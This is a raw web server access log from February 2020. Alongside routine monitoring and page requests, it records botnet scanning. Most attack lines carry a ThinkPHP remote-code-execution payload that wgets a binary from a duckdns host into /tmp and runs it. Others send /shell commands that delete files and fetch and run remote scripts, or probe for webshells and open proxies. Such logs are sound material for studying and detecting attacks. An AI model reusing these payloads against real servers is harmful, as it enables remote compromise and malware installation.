5.251.43.163 - - [04/Feb/2020:17:23:13 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:17:23:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
73.138.205.198 - - [04/Feb/2020:17:24:40 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:17:24:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.94.43.32 - - [04/Feb/2020:17:25:30 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:17:25:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.56.126 - - [04/Feb/2020:17:25:51 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://scan.casualaffinity.net/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
42.118.195.95 - - [04/Feb/2020:17:26:06 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:17:26:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:17:27:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
164.52.24.163 - - [04/Feb/2020:17:28:00 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
117.1.93.82 - - [04/Feb/2020:17:28:08 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:17:28:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.112.103.22 - - [04/Feb/2020:17:29:10 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:17:29:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:17:30:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
171.229.232.25 - - [04/Feb/2020:17:31:14 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:17:31:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.80.29.31 - - [04/Feb/2020:17:32:08 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
82.112.32.143 - - [04/Feb/2020:17:32:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [04/Feb/2020:17:32:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.48.153 - - [04/Feb/2020:17:33:03 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:17:33:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:17:34:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:17:35:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
77.43.218.157 - - [04/Feb/2020:17:36:11 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:17:36:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
197.44.138.98 - - [04/Feb/2020:17:36:45 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
58.187.209.32 - - [04/Feb/2020:17:37:34 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:17:37:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:17:38:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
31.162.230.187 - - [04/Feb/2020:17:38:55 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:17:39:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
211.138.207.237 - - [04/Feb/2020:17:39:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
85.105.223.101 - - [04/Feb/2020:17:39:51 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
88.247.102.232 - - [04/Feb/2020:17:39:55 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [04/Feb/2020:17:40:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
112.84.11.202 - - [04/Feb/2020:17:41:16 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
164.68.112.178 - - [04/Feb/2020:17:41:26 +0100] "GET / HTTP/1.0" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36"
164.68.112.178 - - [04/Feb/2020:17:41:30 +0100] "GET / HTTP/1.0" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36"
212.91.246.72 - - [04/Feb/2020:17:41:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
164.68.112.178 - - [04/Feb/2020:17:41:44 +0100] "GET / HTTP/1.0" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36"
164.68.112.178 - - [04/Feb/2020:17:41:46 +0100] "GET / HTTP/1.0" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36"
164.68.112.178 - - [04/Feb/2020:17:41:50 +0100] "GET / HTTP/1.0" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36"
164.68.112.178 - - [04/Feb/2020:17:41:58 +0100] "GET / HTTP/1.0" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36"
217.76.42.78 - - [04/Feb/2020:17:42:12 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:17:42:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:17:43:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.89.177.83 - - [04/Feb/2020:17:43:49 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
31.162.221.38 - - [04/Feb/2020:17:44:17 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:17:44:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.114.24.175 - - [04/Feb/2020:17:45:20 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:17:45:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:17:46:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.165.70.108 - - [04/Feb/2020:17:46:45 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:17:47:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:17:48:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:17:49:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
137.59.162.149 - - [04/Feb/2020:17:49:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [04/Feb/2020:17:50:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:17:51:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
70.95.63.117 - - [04/Feb/2020:17:52:33 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:17:52:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:17:53:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:17:54:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
31.162.192.10 - - [04/Feb/2020:17:54:59 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
178.88.83.87 - - [04/Feb/2020:17:55:25 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:17:55:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.71.213.249 - - [04/Feb/2020:17:56:12 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:17:56:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:17:57:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.20.66 - - [04/Feb/2020:17:58:31 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://scan.casualaffinity.net/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
212.91.246.72 - - [04/Feb/2020:17:58:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.188.210.101 - - [04/Feb/2020:17:59:36 +0100] "GET http://5.188.210.101/echo.php HTTP/1.1" 404 313 "https://www.google.com/" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36"
212.91.246.72 - - [04/Feb/2020:17:59:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.188.210.101 - - [04/Feb/2020:18:00:23 +0100] "GET http://5.188.210.101/echo.php HTTP/1.1" 404 313 "https://www.google.com/" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36"
212.91.246.72 - - [04/Feb/2020:18:00:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.188.210.101 - - [04/Feb/2020:18:00:46 +0100] "GET http://5.188.210.101/echo.php HTTP/1.1" 404 313 "https://www.google.com/" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36"
5.188.210.101 - - [04/Feb/2020:18:00:58 +0100] "GET http://5.188.210.101/echo.php HTTP/1.1" 404 313 "https://www.google.com/" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36"
171.229.214.185 - - [04/Feb/2020:18:01:29 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:18:01:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
89.143.127.9 - - [04/Feb/2020:18:02:02 +0100] "GET /shell?cd+/tmp;rm+-rf+.j;wget+http:/\\/91.92.66.124/..j/.j;chmod+777+.j;sh+.j;echo+DONE HTTP/1.1" 400 329 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36"
164.68.112.178 - - [04/Feb/2020:18:02:23 +0100] "GET / HTTP/1.0" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36"
183.80.220.15 - - [04/Feb/2020:18:02:34 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
164.68.112.178 - - [04/Feb/2020:18:02:37 +0100] "GET / HTTP/1.0" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36"
164.68.112.178 - - [04/Feb/2020:18:02:37 +0100] "GET / HTTP/1.0" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36"
5.188.210.101 - - [04/Feb/2020:18:02:37 +0100] "GET http://5.188.210.101/echo.php HTTP/1.1" 404 313 "https://www.google.com/" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36"
212.91.246.72 - - [04/Feb/2020:18:02:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:18:03:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
94.51.64.124 - - [04/Feb/2020:18:04:19 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:18:04:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
94.51.7.129 - - [04/Feb/2020:18:04:55 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
198.108.66.64 - - [04/Feb/2020:18:05:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
106.13.88.214 - - [04/Feb/2020:18:05:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0"
106.13.88.214 - - [04/Feb/2020:18:05:24 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0"
106.13.88.214 - - [04/Feb/2020:18:05:26 +0100] "POST /Admin56f65bd4/Login.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0"
212.91.246.72 - - [04/Feb/2020:18:05:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
106.13.88.214 - - [04/Feb/2020:18:05:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
106.13.88.214 - - [04/Feb/2020:18:05:48 +0100] "GET /l.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
106.13.88.214 - - [04/Feb/2020:18:05:49 +0100] "GET /phpinfo.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
106.13.88.214 - - [04/Feb/2020:18:05:50 +0100] "GET /test.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
106.13.88.214 - - [04/Feb/2020:18:05:50 +0100] "POST /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0"
106.13.88.214 - - [04/Feb/2020:18:06:11 +0100] "POST /bbs.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0"
106.13.88.214 - - [04/Feb/2020:18:06:35 +0100] "POST /forum.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0"
212.91.246.72 - - [04/Feb/2020:18:06:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
106.13.88.214 - - [04/Feb/2020:18:06:59 +0100] "POST /forums.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0"
106.13.88.214 - - [04/Feb/2020:18:07:23 +0100] "POST /bbs/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0"
212.91.246.72 - - [04/Feb/2020:18:07:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
106.13.88.214 - - [04/Feb/2020:18:07:47 +0100] "POST /forum/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0"
106.13.88.214 - - [04/Feb/2020:18:08:15 +0100] "GET /webdav/ HTTP/1.1" 404 312 "-" "Mozilla/5.0"
106.13.88.214 - - [04/Feb/2020:18:08:23 +0100] "GET /java.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
106.13.88.214 - - [04/Feb/2020:18:08:32 +0100] "GET /_query.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
106.13.88.214 - - [04/Feb/2020:18:08:32 +0100] "GET /test.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
106.13.88.214 - - [04/Feb/2020:18:08:35 +0100] "GET /db_cts.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
106.13.88.214 - - [04/Feb/2020:18:08:35 +0100] "GET /db_pma.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
106.13.88.214 - - [04/Feb/2020:18:08:35 +0100] "GET /logon.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
106.13.88.214 - - [04/Feb/2020:18:08:35 +0100] "GET /help-e.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
106.13.88.214 - - [04/Feb/2020:18:08:36 +0100] "GET /license.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
106.13.88.214 - - [04/Feb/2020:18:08:36 +0100] "GET /log.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
106.13.88.214 - - [04/Feb/2020:18:08:37 +0100] "GET /hell.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
106.13.88.214 - - [04/Feb/2020:18:08:37 +0100] "GET /pmd_online.php HTTP/1.1" 404 319 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
